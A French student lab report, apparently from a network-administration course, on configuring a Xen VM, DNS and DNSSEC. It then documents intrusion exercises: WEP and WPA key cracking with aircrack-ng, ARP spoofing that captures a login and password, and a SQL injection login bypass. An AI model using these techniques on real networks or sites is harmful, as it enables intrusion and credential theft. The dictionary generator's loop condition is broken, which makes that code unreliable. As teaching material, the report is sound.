J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
